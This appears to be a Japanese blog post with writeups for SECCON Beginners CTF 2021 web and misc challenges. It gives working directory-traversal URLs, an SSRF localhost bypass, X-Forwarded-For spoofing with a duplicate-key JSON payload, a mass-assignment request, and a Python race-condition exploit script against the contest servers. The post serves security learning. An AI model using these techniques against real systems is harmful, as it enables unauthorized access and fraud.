はまやんはまやんはまやん

hamayanhamayan's blog

SECCON Beginners CTF 2021 Writeups 解説

チームwhitecatとして参加して1689点85位でした。
Webしかやれていないのですが、メンバーが強くてここまでこれました。
以下、自分が解いた問題のwriteupです。

Web

osoba

f:id:hamayanhamayan:20210522164733p:plain

ちょっと探索すると/?page=public/wip.htmlのようなURLになっているので、ディレクトリトラバーサルを試す。
/?page=/etc/passwdとすると、データが抜けてくるので、問題文にもあるように/?page=/flagでフラグを取ってこよう。

Werewolf

自分はKNIGHTらしい。

f:id:hamayanhamayan:20210522165500p:plain

プロキシのログを見てみるが、特に気になる部分がない。
ソースコードを見てみよう。
player.role == 'WEREWOLF'が満たされればフラグが手に入る。
しかしPlayerクラスを見ると指定できるroleにWEREWOLFが含まれていない。
player.__dict__[k] = vで__roleにアクセスできないが探すと以下の記事が見つかる。

Pythonのプライベート変数の振る舞いについて - Qiita
なるほど、_Player__roleでアクセスできそう。

POST / HTTP/1.1
Host: werewolf.quals.beginners.seccon.jp
…
Connection: close

name=Evilman&color=red&_Player__role=WEREWOLF

これでフラグがもらえる。

check_url

f:id:hamayanhamayan:20210522172857p:plain

SSRFな感じがする。
ソースコードを見ると自分自身をアクセスさせることができればフラグが手に入る。
127.0.0.1にアクセスさせることができればフラグが手に入る。制約は

という感じ。
色々調べて使ってみると、SSRF (Server Side Request Forgery) - HackTricks0x7f000001が刺さる。
/?url=https://0x7f000001/でフラグ。

json

f:id:hamayanhamayan:20210522232722p:plain

BANされてしまった。
/json/bff/main.goの以下の部分でフィルタリングしている。

// check if the accessed user is in the local network (192.168.111.0/24)
func checkLocal() gin.HandlerFunc {
    return func(c *gin.Context) {
        clientIP := c.ClientIP()
        ip := net.ParseIP(clientIP).To4()
        if ip[0] != byte(192) || ip[1] != byte(168) || ip[2] != byte(111) {
            c.HTML(200, "error.tmpl", gin.H{
                "ip": clientIP,
            })
            c.Abort()
            return
        }
    }
}

送信元をヘッダーで偽装できないか試すとX-Forwarded-For: 192.168.111.2を入れてみるとbypassできた。
Flagクエリをやってみる。

f:id:hamayanhamayan:20210522233101p:plain

ダメでした。
/json/bff/main.go

if info.ID == 2 {
    c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
    return
}

でフィルタリングがかかっている。
よくよく見ると、apiとbffで使っているJSONパーサーが違う。
これはアレか。

POST / HTTP/1.1
Host: json.quals.beginners.seccon.jp
…
X-Forwarded-For: 192.168.111.2

{"id":2,"id":1}

これを投げるとフラグが手に入る。

cant_use_db

f:id:hamayanhamayan:20210522235641p:plain

Noodlesを2つ、Soupを1つ買えればフラグが手に入る。
もちろんお金は足りない。

cant_use_dbとあり、DBは使っていない。代わりにtxtファイルを使って情報を永続化している。
user_idが内部的に使われているがセッションに入っているので手出しできない。
CookieにセッションIDがJWSっぽい形式で入っているが、簡単に解析できそうな感じでもない。

購入フローを見ると、「購入物の個数をインクリメント」→wait→「金額を購入分減らす」となっているので排他処理で攻められますね。
しかし、単純に/buy_noodlesを2回と/buy_soupを1回を同時に実行すると、buy_noodlesの購入物の更新がどちらも1個になってしまうので、1回目と2回目の間に0.5秒くらいウェイトを入れるとうまくいく。
以下exploitコード

import requests
import threading
import time

root = 'https://cant-use-db.quals.beginners.seccon.jp'
cookie = {'session': 'eyJ1c2VyIjoiMDQ3L2F4SjNEWS1USUs5Rlc1dmFGT3d4TVFzM3pjNllLdkdsWmhFLWEzbUMifQ.YKkndg.Hbl3Uw84soj7Gd3HccAsqHRHfag'}

def f():
    return requests.post(root + '/buy_noodles', cookies=cookie, verify=False).text

def g():
    return requests.post(root + '/buy_soup', cookies=cookie, verify=False).text

threading.Thread(target=f).start()
time.sleep(0.5)
threading.Thread(target=f).start()
threading.Thread(target=g).start()

misc

git-leak

過去コミットを洗い出してgrepしてくればフラグが得られる。

$ git cat-file --batch --batch-all-objects | grep -a ctf4b
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

depixelization

f:id:hamayanhamayan:20210523131653p:plain

このような暗号と暗号を作るスクリプトが与えられる。
とある文字はそれに対応した一意の画像が作られるので候補の文字についてスクリプトで暗号化を行い、出力が一致するかを比較することで復元できそうだ。
スクリプトを書いて、上記のようなことをやると答えが得られる。

import cv2
import numpy as np

cs = "qwertyuiopasdfghjklzxcvbnm1234567890{}_!"

img2 = cv2.imread("./output.png")
for i in range(31):
    L = i * 85
    R = (i + 1) * 85
    char = img2[0 : 100, L : R]

    for c in cs:
        img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8)
        cv2.putText(img, c, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)

        # pixelization
        cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA)
        cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)
        cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA)
        simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o
        img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST)

        if np.array_equal(char,img):
            print(c)
            break